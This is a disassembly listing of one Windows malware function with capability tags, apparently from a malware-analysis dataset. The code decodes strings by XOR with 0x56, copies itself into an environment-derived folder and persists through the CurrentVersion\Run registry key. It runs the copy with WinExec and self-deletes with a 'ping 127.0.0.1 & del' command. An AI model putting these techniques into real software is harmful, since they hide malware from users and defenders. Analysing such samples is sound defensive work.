Function at 0x403380
Capabilities:
Create directory
Create process on windows
Persist via run registry key
Query environment variable
Self delete
Set registry value
Terminate process

Disassembly:
sub esp, 0x114
mov eax, dword [0x4129e8]
xor eax, esp
mov dword [esp + 0x110], eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov eax, dword [0x413e08]
push 0
push eax
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
mov ecx, dword [0x413e08]
push ecx
lea edx, [esp + 4]
push str._c_ping_127.0.0.1__del__q___s_
push edx
call fcn.00403b50
add esp, 0xc
push 0
push 0
lea eax, [esp + 8]
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
sub esp, 0x318
mov eax, dword [0x4129e8]
xor eax, esp
mov dword [esp + 0x314], eax
push 0x103
lea eax, [esp + 0xd]
push 0
push eax
mov byte [esp + 0x14], 0
call fcn.00403910
push 0x103
lea ecx, [esp + 0x11d]
push 0
push ecx
mov byte [esp + 0x124], 0
call fcn.00403910
push 0x103
lea edx, [esp + 0x22d]
push 0
push edx
mov byte [esp + 0x234], 0
call fcn.00403910
add esp, 0x24
call fcn.00403090
mov byte [esp + 3], al
xor eax, eax
mov cl, byte [eax + str.___x_7__3_x59_]
test cl, cl
je 0x403408
cmp cl, 0x56
je 0x403408
xor cl, 0x56
mov byte [eax + str.___x_7__3_x59_], cl
mov cl, byte [eax + 0x412001]
test cl, cl
je 0x403420
cmp cl, 0x56
je 0x403420
xor cl, 0x56
mov byte [eax + 0x412001], cl
mov cl, byte [eax + 0x412002]
test cl, cl
je 0x403438
cmp cl, 0x56
je 0x403438
xor cl, 0x56
mov byte [eax + 0x412002], cl
mov cl, byte [eax + 0x412003]
test cl, cl
je 0x403450
cmp cl, 0x56
je 0x403450
xor cl, 0x56
mov byte [eax + 0x412003], cl
mov cl, byte [eax + 0x412004]
test cl, cl
je 0x403468
cmp cl, 0x56
je 0x403468
xor cl, 0x56
mov byte [eax + 0x412004], cl
mov cl, byte [eax + 0x412005]
test cl, cl
je 0x403480
cmp cl, 0x56
je 0x403480
xor cl, 0x56
mov byte [eax + 0x412005], cl
add eax, 6
cmp eax, 0x9d8
jl 0x4033f0
push 0x104
lea eax, [esp + 0xc]
push eax
push 0x41215e
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x40361c
xor eax, eax
lea ecx, [ecx]
mov cl, byte [esp + eax + 8]
mov byte [esp + eax + 0x210], cl
add eax, 1
test cl, cl
jne 0x4034b0
push edi
lea edi, [esp + 0xc]
add edi, 0xffffffff
lea ebx, [ebx]
mov al, byte [edi + 1]
add edi, 1
test al, al
jne 0x4034d0
mov cx, word [0x40f3e4]
push 0x104
lea edx, [esp + 0x114]
push edx
push 0
mov word [edi], cx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x40361b
mov eax, 0x4120fa
mov edx, eax
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x403508
lea edi, [esp + 0xc]
sub eax, edx
add edi, 0xffffffff
lea ebx, [ebx]
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x403520
push esi
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x114]
lea eax, [esp + 0x10]
pop esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x403567
test dl, dl
je 0x403563
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x403567
add eax, 2
add ecx, 2
test dl, dl
jne 0x403547
xor eax, eax
jmp 0x40356c
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40361b
push 0
lea eax, [esp + 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 1
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x118]
push edx
call fcn.00402a00
add esp, 0xc
cmp byte [esp + 7], 0
je 0x4035b3
lea eax, [esp + 8]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push 0x80000002
jmp 0x4035c2
lea ecx, [esp + 8]
push ecx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [esp + 0xc]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x4035d0
sub eax, edx
push eax
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x10]
push edx
push 1
push 0
push 0x41212c
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x4121a0], 0
jne 0x403616
push 0
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x402c40
pop edi
mov ecx, dword [esp + 0x314]
xor ecx, esp
call fcn.004038f9
add esp, 0x318
ret